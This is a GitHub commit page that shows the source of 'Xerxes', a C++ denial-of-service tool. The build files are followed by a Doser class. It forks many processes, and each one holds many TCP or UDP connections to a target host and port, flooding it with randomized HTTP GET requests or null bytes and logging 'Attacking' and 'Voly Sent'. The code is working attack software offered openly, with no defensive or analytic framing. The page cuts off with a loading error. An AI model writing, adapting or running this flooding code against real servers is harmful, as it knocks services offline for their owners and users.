-
Notifications
You must be signed in to change notification settings - Fork 108
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit b81d06d
Showing
16 changed files
with
11,859 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
language: cpp | ||
|
||
compiler: | ||
- gcc | ||
- clang | ||
|
||
before_script: | ||
- mkdir build | ||
- cd build | ||
- cmake .. | ||
|
||
script: make | ||
|
||
# blocklist | ||
branches: | ||
except: | ||
- experimental | ||
|
||
# safelist | ||
branches: | ||
only: | ||
- master |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
cmake_minimum_required(VERSION 3.9) | ||
|
||
project(Xerxes) | ||
|
||
set(CMAKE_CXX_STANDARD 11) | ||
|
||
add_executable(Xerxes main.cpp Configuration.h Doser.cpp Doser.h Validator.cpp Validator.h Parser.cpp Parser.h Logger.cpp Logger.h) | ||
add_custom_command(TARGET Xerxes POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/useragents ${CMAKE_CURRENT_BINARY_DIR}/useragents) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
#ifndef XERXES_CONFIGURATION_H | ||
#define XERXES_CONFIGURATION_H | ||
|
||
#include <string> | ||
#include <vector> | ||
|
||
struct config{ | ||
enum Protocol{TCP, UDP}; | ||
enum Vector{Null, HTTP}; | ||
Protocol protocol{TCP}; | ||
Vector vector{Null}; | ||
std::string website{}; | ||
std::string port{}; | ||
std::vector<std::string> useragents{"Wget/1.16 (linux-gnu/Xerxes)"}; | ||
int THREADS = 0; | ||
int CONNECTIONS = 0; | ||
|
||
}; | ||
|
||
#endif //XERXES_CONFIGURATION_H |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,181 @@ | ||
#include <random> | ||
#include <chrono> | ||
#include <netdb.h> | ||
#include <cstring> | ||
#include <csignal> | ||
#include <utility> | ||
#include <unistd.h> | ||
#include <iostream> | ||
#include "Doser.h" | ||
|
||
|
||
void Doser::attack(const int *id) { | ||
std::vector<int> sockets; | ||
int x, r; | ||
for (x = 0; x < conf->CONNECTIONS; x++) { | ||
sockets.push_back(0); | ||
} | ||
signal(SIGPIPE, &Doser::broke); | ||
while(true) { | ||
static std::string message; | ||
for (x = 0; x < conf->CONNECTIONS; x++) { | ||
switch (sockets[x]){ | ||
case 0:{ | ||
sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); | ||
break; | ||
} | ||
default:break; | ||
} | ||
switch (conf->vector){ | ||
case (config::HTTP):{ | ||
std::string httpbuffer{}; | ||
httpbuffer = std::string{"GET /"} + createStr() + " HTTP/1.0\r\nUser-Agent: " | ||
+ randomizeUserAgent() + " \r\nAccept: */*\r\nConnection: Keep-Alive\r\n\r\n"; | ||
message = std::string("Buffer: ") + httpbuffer; | ||
logger->Log(&message, Logger::Info); | ||
r = static_cast<int>(write(sockets[x], httpbuffer.c_str(), static_cast<size_t>(httpbuffer.length()))); | ||
break; | ||
} | ||
case (config::Null):{ | ||
r = static_cast<int>(write(sockets[x], "\0", 1)); | ||
break; | ||
} | ||
default:break; | ||
} | ||
switch (r){ | ||
case -1:{ | ||
close(sockets[x]); | ||
sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); | ||
break; | ||
} | ||
default:{ | ||
message = std::string("Socket[") + std::to_string(x) + "->" | ||
+ std::to_string(sockets[x]) + "] -> " + std::to_string(r); | ||
logger->Log(&message, Logger::Info); | ||
message = std::to_string(*id) + ": Voly Sent"; | ||
logger->Log(&message, Logger::Info); | ||
} | ||
} | ||
} | ||
message = std::to_string(*id) + ": Voly Sent"; | ||
logger->Log(&message, Logger::Info); | ||
usleep(300000); | ||
} | ||
} | ||
|
||
int Doser::make_socket(const char *host, const char *port) { | ||
struct addrinfo hints{}, *servinfo, *p; | ||
int sock = 0, r; | ||
std::string message = std::string("Connecting-> ") + host + ":" + port; | ||
logger->Log(&message, Logger::Info); | ||
memset(&hints, 0, sizeof(hints)); | ||
hints.ai_family = AF_UNSPEC; | ||
switch (conf->protocol){ | ||
case config::TCP: | ||
hints.ai_socktype = SOCK_STREAM; | ||
break; | ||
case config::UDP: | ||
hints.ai_socktype = SOCK_DGRAM; | ||
break; | ||
default:break; | ||
} | ||
|
||
if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) { | ||
message = std::string("Getaddrinfo-> ") + gai_strerror(r); | ||
logger->Log(&message, Logger::Error); | ||
exit(EXIT_FAILURE); | ||
} | ||
for(p = servinfo; p != nullptr; p = p->ai_next) { | ||
if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { | ||
continue; | ||
} | ||
if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) { | ||
close(sock); | ||
continue; | ||
} | ||
break; | ||
} | ||
if(p == nullptr) { | ||
if(servinfo){ | ||
freeaddrinfo(servinfo); | ||
} | ||
logger->Log("No connection could be made", Logger::Error); | ||
exit(EXIT_FAILURE); | ||
} | ||
if(servinfo){ | ||
freeaddrinfo(servinfo); | ||
} | ||
message = std::string("Connected-> ") + host + ":" + port; | ||
logger->Log(&message, Logger::Info); | ||
return sock; | ||
} | ||
|
||
void Doser::broke(int) { | ||
// Pass | ||
} | ||
|
||
std::string Doser::createStr() { | ||
unsigned seed = static_cast<unsigned int>(std::chrono::steady_clock::now().time_since_epoch().count()); | ||
std::default_random_engine engine(seed); | ||
std::uniform_int_distribution<int> distribution(0, 20); | ||
int string_length = distribution(engine) + 1; | ||
std::string string{}; | ||
for(int i = 0; i < string_length; ++i){ | ||
distribution = std::uniform_int_distribution<int>(0, 72); | ||
string += (static_cast<char>('0' + distribution(engine))); | ||
} | ||
return string; | ||
} | ||
|
||
void Doser::run() { | ||
std::string message = std::string("Attacking ") + conf->website + ":" + conf->port + " with " | ||
+ std::to_string(conf->THREADS) + " Threads, " | ||
+ std::to_string(conf->CONNECTIONS) + " Connections"; | ||
logger->Log(&message, Logger::Warning); | ||
|
||
switch(conf->vector){ | ||
case config::HTTP: | ||
logger->Log("Attack Vector: HTTP", Logger::Info); | ||
break; | ||
case config::Null: | ||
logger->Log("Attack Vector: Null", Logger::Info); | ||
break; | ||
default:break; | ||
} | ||
|
||
switch(conf->protocol){ | ||
case config::TCP: | ||
logger->Log("Using TCP Protocol", Logger::Info); | ||
break; | ||
case config::UDP: | ||
logger->Log("Using UDP Protocol", Logger::Info); | ||
break; | ||
default:break; | ||
} | ||
|
||
logger->Log("Press <Ctrl+C> to stop\n", Logger::Info); | ||
usleep(1000000); | ||
for (int x = 0; x < conf->THREADS; x++) { | ||
switch (fork()){ | ||
case 0:break; | ||
default: | ||
attack(&x); | ||
} | ||
|
||
usleep(200000); | ||
} | ||
} | ||
|
||
Doser::Doser(config *conf, Logger *logger) : conf{conf}, logger{logger} { | ||
|
||
} | ||
|
||
std::string Doser::randomizeUserAgent(){ | ||
if(conf->useragents.size() > 1){ | ||
unsigned seed = static_cast<unsigned int>(std::chrono::steady_clock::now().time_since_epoch().count()); | ||
std::default_random_engine engine(seed); | ||
std::uniform_int_distribution<int> distribution(0, static_cast<int>(conf->useragents.size())); | ||
return conf->useragents[distribution(engine)]; | ||
} | ||
return conf->useragents[0]; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
#ifndef XERXES_DOSER_H | ||
#define XERXES_DOSER_H | ||
|
||
|
||
#include <array> | ||
#include "Configuration.h" | ||
#include "Logger.h" | ||
|
||
class Doser { | ||
public: | ||
Doser(config *conf, Logger *logger); | ||
void run(); | ||
|
||
private: | ||
int make_socket(const char *host, const char *port); | ||
static void broke(int); | ||
std::string createStr(); | ||
void attack(const int *id); | ||
std::string randomizeUserAgent(); | ||
config *conf; | ||
Logger *logger; | ||
|
||
}; | ||
|
||
|
||
#endif //XERXES_DOSER_H |
Oops, something went wrong.